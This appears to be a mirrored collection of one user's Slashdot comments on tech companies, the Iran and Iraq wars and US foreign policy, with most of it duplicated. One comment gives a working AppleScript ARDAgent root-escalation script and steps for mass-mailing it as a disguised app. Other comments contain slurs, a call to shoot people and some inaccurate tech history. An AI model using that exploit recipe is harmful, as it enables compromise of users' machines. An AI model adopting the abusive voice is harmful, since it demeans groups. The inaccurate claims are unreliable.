I think that the real reason is because they can, and we dumbass fuckers are (somewhat) prepared to pay for it (piracy is higher here than in the US).
I have personally written to Adobe complaining about the massive price differences, and Adobe wrote back claiming it was because of localisation costs (translating software plus documentation into 20 languages can be pricey).
BUT, the bastards are lying. The localisation of any piece of major software is now a matter of course. It's planned in right from the very beginning.
To the wankers from Adobe reading this forum, I think it's about time the EU took a look at this practice.
At first I thought that publicity stunts like this are more the kind of thing that Apple would do (Mac vs PC videos), and then I thought that is exactly what Microsoft is doing: They're not only trying to emulate Apple in the OS and mp3 player space, now they're also trying to emulate Apple's marketing.
Thing is, stuff like this doesn't really work without a strong brand, and while Microsoft itself is a strong brand, Vista absolutely isn't.
No, what this really says to me is: Pure desperation. Microsoft have dug itself into such a hole with the mess that is Vista, and the Vista brand is by now so bad that even non-techs no longer want it, that they have to rely on hiding the brand to try and fix it.
I was going to mod your post up, if only for its pleasant reasonable tone, but there is one thing in your post which I find very wrong:
"Let them compete on quality of product and leave the politics at home."
I sadly think that although this claim is used by many pro-microsoft people on this board (and just to make that clear: I have nothing against Microsoft. I use them every day and am fairly happy), if the claim that the proponents of open source are using politics. I will put simply: Micrsoft has been playing power politics from day one (Remember all the "Linux is a cancer" or the "Get the facts" campaigns?).
I think that Microsoft basically created its own nemesis with its less than decent public attacks on its opponents over the years.
For the petty obvious reason that if they do have nuclear weapons, the US wouldn't risk invading or attacking them.
The real reason that atomic weapons would be dangerous would be that it would spurn the local Arab countries, who are Sunni Muslims and Iran's traditional enemies, on to acquiring their own nuclear weapons. Too many countries with too many atomic weapons in that tinder box part of the world is asking for someone to lose it and start a war using them.
I personally think that no one will be touching anything in the real future of computer human interaction. I'm pretty sure touch and facial movement recognition will simply be transitional methods and that direct brain computer interaction will be the real future of computer interaction. Device like that new brain wave game controller will probably be fine grained enough to be replace manual controls within a decade or so.
Until then, the mouse and keyboard will probably soldier on for standard interaction, since touch screens require a different GUI paradigm to be truly useful, and while mobile devices like the iPhone are well on their way there, it will be a while yet until that moves to day to day computing.
Have you ever stopped to ask yourself how Iran would ever use atomic weapons, and what the response would be if they did? No? I didn't think so.
Iran would not use atomic weapons because the retribution would be swift and terrible and the end of Iran as a nation and they would not give them to Hizbollah, because it would be pretty obvious from who the Shiite Hizbollah got their weapons.
Saddam was a mass murdering genocidal bastard son of a bitch that deserved to die. the Iraqi people, on the other hand, were mostly fucked anyway you choose. Under Saddam, they were either for him, and were part of the killing machine, or they against him, for which they were tortured and killed.
After the Invasion, they were for their local militia, in which case they got shot up, tortured and killed by the new Iraqi government or the Americans, or they were against the local militia, in which case they were tortured and killed by the local militia. And this apart from the thousands of suicide bombings by radicalised Arabs drawn to Iraq to fight the great Satan.
And as for nerve gas. Saddam had it and used in its 8 fucking year war against Iran from 1980 to 1988, and no one said a fucking thing. especially not the US who, in its glee that the a-rabs and eye-ranins were killin' one another, sold weapons to both sides (They fucking sold F-14 fighter parts to the Iranians so they could fund the bloody murder of innocent Nicaraguans by the Contras).
So, if Iran gets the bomb, good on them. It's one less place that US soldiers and innocent civilians will be dying for nothing.
The Mujaheddin were losing the war against the Russians until the US under Rabid Ronnie, in his quest to rid the world of the Evil Empire, started supplying them with US made Stinger anti-aircraft missiles and supplying them with Pakistani made Ak-47s and RPG-7s by the truckload.
The Russians were unconcerned with collateral damage caused by their cluster bombs and rockets from their SU-27 ground-attack planes and Mil-24 helicopter gunships. The had the means and the will to dominate every fight with the Mujaheddin, and the literally bombed anything that gave them trouble.
The Stingers changed all that, meaning the Russians no longer had the ability to easily supply air-support to troops facing ambushes, etc.
Bush 41 dropped the Mujaheddin like a sack of shit, after the Russians pulled out. They didn't give a rat's ass about a far away, resource poor region like Afghanistan.
And then it came back to bite them in the ass on 9/11.
This bullshit war in Iraq has been going on for so long that I'm starting to forget why it all started, forgetting all the crap that went on in 2003, with a whole load of otherwise sane people still looking for someone to kill in retribution for 9/11 screaming at calmer minds that Saddam had the bomb (and germs and gas) and was going to use it on the innocent folks in bumfuck, Oklahoma if they didn't invade Iraq like, right now.
Of course, Saddam didn't have the bomb, and some 4100 American and 100'000 Iraqi lives later, Saddam is long dead and the whole mess isn't even about the bomb anymore. Now, it's about propping up a weak government in Iraq that would probably collapse if there weren't enough American soldiers and planes around to come to their aid anytime one of dozens of Sunni, Shia or just plain criminal groups starts shooting at them.
Your post reminds me of the same bullshit that went on in 2004.
The irony is, it doesn't matter if Iran gets the bomb and has missiles to launch them at Ari's barmitzvah in downtown Haifa. If Iran uses atomic weapons, Israel has them too, so you can kiss Farzaneh's Tupperware party in Shiraz goodbye as well if that happens.
Seriously, do you know what would happen if anyone used a nuclear weapon in a war? The country that launched those missiles would be glass about an hour later. No one, not even the Russians or the Chinese would stop the Israelis, Americans (and most likely the British and the French too), from striking back. It would mean open season on Iran, and the country would be reduced to dust and a few goatherds milking radioactive goats.
Also, Iran is not going to give nuclear weapons to Al-Qaida, since the Iranians are Shi'ites and Al-Qaida are Sunnis. They might give Hizbollah atomic weapons, but if Hizbollah were to ever use one, it would pretty obvious from where it would come, and the same as above would happen.
No, in reality, all this posturing about the terrible danger of Iran getting atomic weapons is, IMO, just bullshit to once again distract calmer minds from sanity and frighten them into voting for that senile old fart, Mccain.
I love Apple's hardware and software. I own a (black, fashionable;-) ) Macbook, a 4 year old Aluminium Powerbook and a Mac Pro. I also own a T61 Thinkpad.
The build quality of Apple's ardwrae is unmatched. It's not even a competition. The only PC maker that comes anywhere near Apple's build quality is Sony with its Vaios. Dell? Hp? Lenovo? Don't make me laugh. Make no mistake. I love my T61 Thinkpad, but it simply doesn't compare in build and design quality.
With Apple, the attention to detail starts with the packaging, and ends with the perfectly matching joins and magnetic power supply connectors. Open up a Mac Pro. Compare the insides to any PC case. laugh. They do the same thing with their software.
No one else does this and that is why Apple is booming and the rest of the market loses market share every time Apple brings out something new, be it a computer, mp3 player or phone.
BUT, Apple is greedy. They charge enormous mark-ups for commodity components, such as RAM, Hard-Drives or graphic cards. The article is spot on there. I really wish Apple wouldn't do this as it hurts their reputation every time one of their cheapo hard drives fail, and almost every return customer to Apple's store will skimp on RAM or a hard drive and end up buying real upgrades at Newegg or wherever.
Man, you fuckers are so blind to your own fucking history, it makes me cry. You have done a LOT of GOOD, yes, such as saving the Eurofags from the Nazis and the Communists, but you have, in the same vein, overthrown dozens of governments in central and south America (Nicaragua, Cuba, Venezuela, Panama, Grenada etc), exploited their people for your own profit. You exploited fanatic fuckers in Afghanistan for your own motives, then dropped them when the problem went away and wondered when the same fuckers attacked you all over the world.
The European far-right as somehow more anti-immigration and nationalistic than the American right?????
You're American, right? You've heard about the immigration issues in American politics, right? You've heard about the fucking border fence in Texas, right? You've heard presidential candidates previously wanting to make arrest and deport all illegal immigrants, right?
You've fucking read here on/. the diatribes against H1-B visas, right?
You've read the hate filled anti-European diatribes here on/. accusing Europeans of everything from Communism to Fascism, right?
In short, where the fuck have you been????
You fucking yanks are just as fucking mind bendingly dumb as we fucking eurofags are. The only difference is that we fucking know it, and you crackers pretend it doesn't exist.
That was simply painful to watch, and I couldn't finish it. Fucking unbelievable. Those fuckers should be shot to save the human genetic pool from self-destructing. That or six months in the trenches in Afghanistan.
Windows 3.1 evolved from Windows 2 and Windows 1, when Microsoft got tired of working with IBM on OS/2. Windows 95 evolved from Windows 3.11, especially the GUI, but Windows 3.1 was already using the Win32 API.
Xenix is Unix, which Microsoft licensed from MIT.
Windows NT (and by extension, 2k, XP, 2k3 and Vitsa) was developed by a VMS guy from DEC.
There's nothing wrong with this. Apple did the same thing when they bought NeXT, and others have done so as well, like Novell's SuSE buy up.
Microsoft's true innovation remains business acumen and aggressive practices.
The really big problem with a monopoly is that the company can then charge what it wants to since there is no competition, and the fact that a monopoly will only really innovate when forced to (IE6 languished for some 6 years before Firefoy scared MS into making IE7)
I know that, it was a quick sample via copy/paste, that's all. (I'm also a bit old to be a script kiddie and I take my job being a sysadmin to a company full of Macs quite seriously). What is important is the concept combining a real root escalation with a social engineering attack. This kind of attack is very common on Windows and Mac users should not be complacent that it couldn't happen to them.
I tested the above sample on some users at work and they *all* opened the app. And someone could easily spoof the email sender...
I own four macs and am a sysadmin to a company running about 45 macs. I really like Mac OSX as an OS, as it is generally very robust and flexible, and, in my experience, the OS contains many features that make it both more productive and secure than Windows.
That, however, is a generalisation. Windows has made strides to improve its security record and Vista is much better in this respect than XP was (even if one does get the feeling that a lot of Vista functionality was "bolted on" after the fact). I would be wary of making wild claims about Vista being less secure than OSX, but I think, in general, Apple's use of ACLs in 10.5, coupled with other security features do give it a slight edge.
That said, the exploit this week about the Applescript ARDAgent vulnerability, and above all, the general reaction of Mac users to this vulnerability, and again as expressed in this slashdot comments section, coupled with my experiences with my users at work shows me a few things:
Mac users in general, tend to hold on to myths and marketing claims put out by Apple's PR more that users of other platforms do. I honestly think that the Mac vs. PC ads do Mac users a disservice because so many belive the claims without even asking any questions about them. An example: PC is frustrated because Mac now has Office 2008 which can do all that Office 2007 can. This is simply false. Office 2008 lacks VBA for one thing, lacks conditional formatting in Excel for another, and is so slow, it is barely usable on a new Mac Pro tower. Our older Office version, Office v.X runs faster in Rosetta emulation.
Another example. Coincidentally, I discovered this week that Apple Mail will run a Mac application thta has been attached to an email directly out of Mail. It will warn you, twice, about this, but Windows warns you about new apps as well that hasn't stopped millions of clueless end users ignoring the warnings and just clicking away. I did a few tests on users at work and they *all* opened the app. An app, combined with the applescript ARDAgent exploit would be an excellent way for an attacker to install a trojan for phishing or zombie purposes.
The atttude of Mac users that the platform is magically secure than Windows (it is more secure than XP, but not much more than Vista if at all) in the same way that Mac users were still crowing about Win98 BSODs the same way Windows users were crowing about OS9 crashing all over the place, years after neither one was used very much any more, is indicative of the problems that we, the Mac using community will face when malware exploits start to gather pace on the Mac.
I honestly believe that the Mac has been mostly protected by its small marketshare up until now. Most exploits come out of China and Russia, and most malware authors there do not have Macs. That will eventually change.
I say that Mac users should be less confident in the platform and more aware of security. I suspect that in 5 years, Anti-Virus software will also be a mainstay on OSX.
The real hole is not so much this script, since you need to get something running on a target machine, but the fact that Apple Mail will execute Mac friendly *.app attachments at all just by clicking on them.
1. Open Script Edtor 2. type in the following code
tell application "Terminal" do script "osascript -e 'tell app \"ARDAgent\" to do shell script \"whoami\"';" end tell
3.Save as NubileRussianTennisPlayer.app 4.Attach as non Windows friendly attachment to a new mail in Mail.app 5.Send to as many hopefully clueless Mac users as possible. 6.Profit
Just embed the script in an applescript *.app executable, which many clueless users (I know, I am a Mac sysadmin to some of them) will click on, despite the warnings from the system on trying to start an executable from Mail and on first launching the app.
It's almost like Anna_Kournikova.jpg.vbs all over again.
The reason that Microsoft pushed XAML as hard as they do is because they wanted to once again control the web. Some moron in Microsoft's marketing department must have thought that with XAML being easy to use and implement would stop supporting html/xhtml and slowly move over to XAMl based applications.
This, of course, didn't happen for the same reason activex didn't become hugely popular: it's not compatible with other browsers.
The web has come far enough now, that microsoft cannot really control it realistically.
But then, another goon in marketing thought that Silverlight would be the answer...
Slashdot Mirror
I think that the real reason is because they can, and we dumbass fuckers are (somewhat) prepared to pay for it (piracy is higher here than in the US).
I have personally written to Adobe complaining about the massive price differences, and Adobe wrote back claiming it was because of localisation costs (translating software plus documentation into 20 languages can be pricey).
BUT, the bastards are lying. The localisation of any piece of major software is now a matter of course. It's planned in right from the very beginning.
To the wankers from Adobe reading this forum, I think it's about time the EU took a look at this practice.
At first I thought that publicity stunts like this are more the kind of thing that Apple would do (Mac vs PC videos), and then I thought that is exactly what Microsoft is doing: They're not only trying to emulate Apple in the OS and mp3 player space, now they're also trying to emulate Apple's marketing.
Thing is, stuff like this doesn't really work without a strong brand, and while Microsoft itself is a strong brand, Vista absolutely isn't.
No, what this really says to me is: Pure desperation. Microsoft have dug itself into such a hole with the mess that is Vista, and the Vista brand is by now so bad that even non-techs no longer want it, that they have to rely on hiding the brand to try and fix it.
I was going to mod your post up, if only for its pleasant reasonable tone, but there is one thing in your post which I find very wrong:
"Let them compete on quality of product and leave the politics at home."
I sadly think that although this claim is used by many pro-microsoft people on this board (and just to make that clear: I have nothing against Microsoft. I use them every day and am fairly happy), if the claim that the proponents of open source are using politics. I will put simply: Micrsoft has been playing power politics from day one (Remember all the "Linux is a cancer" or the "Get the facts" campaigns?).
I think that Microsoft basically created its own nemesis with its less than decent public attacks on its opponents over the years.
For the petty obvious reason that if they do have nuclear weapons, the US wouldn't risk invading or attacking them.
The real reason that atomic weapons would be dangerous would be that it would spurn the local Arab countries, who are Sunni Muslims and Iran's traditional enemies, on to acquiring their own nuclear weapons. Too many countries with too many atomic weapons in that tinder box part of the world is asking for someone to lose it and start a war using them.
I personally think that no one will be touching anything in the real future of computer human interaction. I'm pretty sure touch and facial movement recognition will simply be transitional methods and that direct brain computer interaction will be the real future of computer interaction. Device like that new brain wave game controller will probably be fine grained enough to be replace manual controls within a decade or so.
Until then, the mouse and keyboard will probably soldier on for standard interaction, since touch screens require a different GUI paradigm to be truly useful, and while mobile devices like the iPhone are well on their way there, it will be a while yet until that moves to day to day computing.
Have you ever stopped to ask yourself how Iran would ever use atomic weapons, and what the response would be if they did? No? I didn't think so.
Iran would not use atomic weapons because the retribution would be swift and terrible and the end of Iran as a nation and they would not give them to Hizbollah, because it would be pretty obvious from who the Shiite Hizbollah got their weapons.
Saddam was a mass murdering genocidal bastard son of a bitch that deserved to die. the Iraqi people, on the other hand, were mostly fucked anyway you choose. Under Saddam, they were either for him, and were part of the killing machine, or they against him, for which they were tortured and killed.
After the Invasion, they were for their local militia, in which case they got shot up, tortured and killed by the new Iraqi government or the Americans, or they were against the local militia, in which case they were tortured and killed by the local militia. And this apart from the thousands of suicide bombings by radicalised Arabs drawn to Iraq to fight the great Satan.
And as for nerve gas. Saddam had it and used in its 8 fucking year war against Iran from 1980 to 1988, and no one said a fucking thing. especially not the US who, in its glee that the a-rabs and eye-ranins were killin' one another, sold weapons to both sides (They fucking sold F-14 fighter parts to the Iranians so they could fund the bloody murder of innocent Nicaraguans by the Contras).
So, if Iran gets the bomb, good on them. It's one less place that US soldiers and innocent civilians will be dying for nothing.
The Mujaheddin were losing the war against the Russians until the US under Rabid Ronnie, in his quest to rid the world of the Evil Empire, started supplying them with US made Stinger anti-aircraft missiles and supplying them with Pakistani made Ak-47s and RPG-7s by the truckload.
The Russians were unconcerned with collateral damage caused by their cluster bombs and rockets from their SU-27 ground-attack planes and Mil-24 helicopter gunships. The had the means and the will to dominate every fight with the Mujaheddin, and the literally bombed anything that gave them trouble.
The Stingers changed all that, meaning the Russians no longer had the ability to easily supply air-support to troops facing ambushes, etc.
Bush 41 dropped the Mujaheddin like a sack of shit, after the Russians pulled out. They didn't give a rat's ass about a far away, resource poor region like Afghanistan.
And then it came back to bite them in the ass on 9/11.
This bullshit war in Iraq has been going on for so long that I'm starting to forget why it all started, forgetting all the crap that went on in 2003, with a whole load of otherwise sane people still looking for someone to kill in retribution for 9/11 screaming at calmer minds that Saddam had the bomb (and germs and gas) and was going to use it on the innocent folks in bumfuck, Oklahoma if they didn't invade Iraq like, right now.
Of course, Saddam didn't have the bomb, and some 4100 American and 100'000 Iraqi lives later, Saddam is long dead and the whole mess isn't even about the bomb anymore. Now, it's about propping up a weak government in Iraq that would probably collapse if there weren't enough American soldiers and planes around to come to their aid anytime one of dozens of Sunni, Shia or just plain criminal groups starts shooting at them.
Your post reminds me of the same bullshit that went on in 2004.
The irony is, it doesn't matter if Iran gets the bomb and has missiles to launch them at Ari's barmitzvah in downtown Haifa. If Iran uses atomic weapons, Israel has them too, so you can kiss Farzaneh's Tupperware party in Shiraz goodbye as well if that happens.
Seriously, do you know what would happen if anyone used a nuclear weapon in a war? The country that launched those missiles would be glass about an hour later. No one, not even the Russians or the Chinese would stop the Israelis, Americans (and most likely the British and the French too), from striking back. It would mean open season on Iran, and the country would be reduced to dust and a few goatherds milking radioactive goats.
Also, Iran is not going to give nuclear weapons to Al-Qaida, since the Iranians are Shi'ites and Al-Qaida are Sunnis. They might give Hizbollah atomic weapons, but if Hizbollah were to ever use one, it would pretty obvious from where it would come, and the same as above would happen.
No, in reality, all this posturing about the terrible danger of Iran getting atomic weapons is, IMO, just bullshit to once again distract calmer minds from sanity and frighten them into voting for that senile old fart, Mccain.
The article was posted by Timothy, who is the same idiot who posted the article above this one on claiming but not claiming "criminal negligence".
The articles are pure flamebait, utterly stupid, typical of Timothy, and are simply sensationalistic crap designed to raise hit counts on slashdot.
English used to have three grammatical genders as well. In fact, most indo-european languages have genders.
I love Apple's hardware and software. I own a (black, fashionable;-) ) Macbook, a 4 year old Aluminium Powerbook and a Mac Pro. I also own a T61 Thinkpad.
The build quality of Apple's ardwrae is unmatched. It's not even a competition. The only PC maker that comes anywhere near Apple's build quality is Sony with its Vaios. Dell? Hp? Lenovo? Don't make me laugh. Make no mistake. I love my T61 Thinkpad, but it simply doesn't compare in build and design quality.
With Apple, the attention to detail starts with the packaging, and ends with the perfectly matching joins and magnetic power supply connectors. Open up a Mac Pro. Compare the insides to any PC case. laugh. They do the same thing with their software.
No one else does this and that is why Apple is booming and the rest of the market loses market share every time Apple brings out something new, be it a computer, mp3 player or phone.
BUT, Apple is greedy. They charge enormous mark-ups for commodity components, such as RAM, Hard-Drives or graphic cards. The article is spot on there. I really wish Apple wouldn't do this as it hurts their reputation every time one of their cheapo hard drives fail, and almost every return customer to Apple's store will skimp on RAM or a hard drive and end up buying real upgrades at Newegg or wherever.
Man, you fuckers are so blind to your own fucking history, it makes me cry. You have done a LOT of GOOD, yes, such as saving the Eurofags from the Nazis and the Communists, but you have, in the same vein, overthrown dozens of governments in central and south America (Nicaragua, Cuba, Venezuela, Panama, Grenada etc), exploited their people for your own profit. You exploited fanatic fuckers in Afghanistan for your own motives, then dropped them when the problem went away and wondered when the same fuckers attacked you all over the world.
Wake the fuck up.
The European far-right as somehow more anti-immigration and nationalistic than the American right?????
You're American, right? You've heard about the immigration issues in American politics, right? You've heard about the fucking border fence in Texas, right? You've heard presidential candidates previously wanting to make arrest and deport all illegal immigrants, right?
You've fucking read here on /. the diatribes against H1-B visas, right?
You've read the hate filled anti-European diatribes here on /. accusing Europeans of everything from Communism to Fascism, right?
In short, where the fuck have you been????
You fucking yanks are just as fucking mind bendingly dumb as we fucking eurofags are. The only difference is that we fucking know it, and you crackers pretend it doesn't exist.
That was simply painful to watch, and I couldn't finish it. Fucking unbelievable. Those fuckers should be shot to save the human genetic pool from self-destructing. That or six months in the trenches in Afghanistan.
Windows 3.1 evolved from Windows 2 and Windows 1, when Microsoft got tired of working with IBM on OS/2. Windows 95 evolved from Windows 3.11, especially the GUI, but Windows 3.1 was already using the Win32 API.
Xenix is Unix, which Microsoft licensed from MIT.
Windows NT (and by extension, 2k, XP, 2k3 and Vitsa) was developed by a VMS guy from DEC.
There's nothing wrong with this. Apple did the same thing when they bought NeXT, and others have done so as well, like Novell's SuSE buy up.
Microsoft's true innovation remains business acumen and aggressive practices.
The really big problem with a monopoly is that the company can then charge what it wants to since there is no competition, and the fact that a monopoly will only really innovate when forced to (IE6 languished for some 6 years before Firefoy scared MS into making IE7)
I know that, it was a quick sample via copy/paste, that's all. (I'm also a bit old to be a script kiddie and I take my job being a sysadmin to a company full of Macs quite seriously). What is important is the concept combining a real root escalation with a social engineering attack. This kind of attack is very common on Windows and Mac users should not be complacent that it couldn't happen to them.
I tested the above sample on some users at work and they *all* opened the app. And someone could easily spoof the email sender...
An Applescript app is just a bundle, like the Ruby or Python bridges.
I own four macs and am a sysadmin to a company running about 45 macs. I really like Mac OSX as an OS, as it is generally very robust and flexible, and, in my experience, the OS contains many features that make it both more productive and secure than Windows.
That, however, is a generalisation. Windows has made strides to improve its security record and Vista is much better in this respect than XP was (even if one does get the feeling that a lot of Vista functionality was "bolted on" after the fact). I would be wary of making wild claims about Vista being less secure than OSX, but I think, in general, Apple's use of ACLs in 10.5, coupled with other security features do give it a slight edge.
That said, the exploit this week about the Applescript ARDAgent vulnerability, and above all, the general reaction of Mac users to this vulnerability, and again as expressed in this slashdot comments section, coupled with my experiences with my users at work shows me a few things:
Mac users in general, tend to hold on to myths and marketing claims put out by Apple's PR more that users of other platforms do. I honestly think that the Mac vs. PC ads do Mac users a disservice because so many belive the claims without even asking any questions about them. An example: PC is frustrated because Mac now has Office 2008 which can do all that Office 2007 can. This is simply false. Office 2008 lacks VBA for one thing, lacks conditional formatting in Excel for another, and is so slow, it is barely usable on a new Mac Pro tower. Our older Office version, Office v.X runs faster in Rosetta emulation.
Another example. Coincidentally, I discovered this week that Apple Mail will run a Mac application thta has been attached to an email directly out of Mail. It will warn you, twice, about this, but Windows warns you about new apps as well that hasn't stopped millions of clueless end users ignoring the warnings and just clicking away. I did a few tests on users at work and they *all* opened the app. An app, combined with the applescript ARDAgent exploit would be an excellent way for an attacker to install a trojan for phishing or zombie purposes.
The atttude of Mac users that the platform is magically secure than Windows (it is more secure than XP, but not much more than Vista if at all) in the same way that Mac users were still crowing about Win98 BSODs the same way Windows users were crowing about OS9 crashing all over the place, years after neither one was used very much any more, is indicative of the problems that we, the Mac using community will face when malware exploits start to gather pace on the Mac.
I honestly believe that the Mac has been mostly protected by its small marketshare up until now. Most exploits come out of China and Russia, and most malware authors there do not have Macs. That will eventually change.
I say that Mac users should be less confident in the platform and more aware of security. I suspect that in 5 years, Anti-Virus software will also be a mainstay on OSX.
The real hole is not so much this script, since you need to get something running on a target machine, but the fact that Apple Mail will execute Mac friendly *.app attachments at all just by clicking on them.
Believe me, anyone with a bit of knowledge of the shell can wreak havoc from this hole, and they can even do it without the terminal staying open.
Apple must fix this pretty soon.
you can use the same do script command to parse the terminal's PID and kill it.
1. Open Script Edtor
2. type in the following code
tell application "Terminal"
do script "osascript -e 'tell app \"ARDAgent\" to do shell script \"whoami\"';"
end tell
3.Save as NubileRussianTennisPlayer.app
4.Attach as non Windows friendly attachment to a new mail in Mail.app
5.Send to as many hopefully clueless Mac users as possible.
6.Profit
Just embed the script in an applescript *.app executable, which many clueless users (I know, I am a Mac sysadmin to some of them) will click on, despite the warnings from the system on trying to start an executable from Mail and on first launching the app.
It's almost like Anna_Kournikova.jpg.vbs all over again.
The reason that Microsoft pushed XAML as hard as they do is because they wanted to once again control the web. Some moron in Microsoft's marketing department must have thought that with XAML being easy to use and implement would stop supporting html/xhtml and slowly move over to XAMl based applications.
This, of course, didn't happen for the same reason activex didn't become hugely popular: it's not compatible with other browsers.
The web has come far enough now, that microsoft cannot really control it realistically.
But then, another goon in marketing thought that Silverlight would be the answer...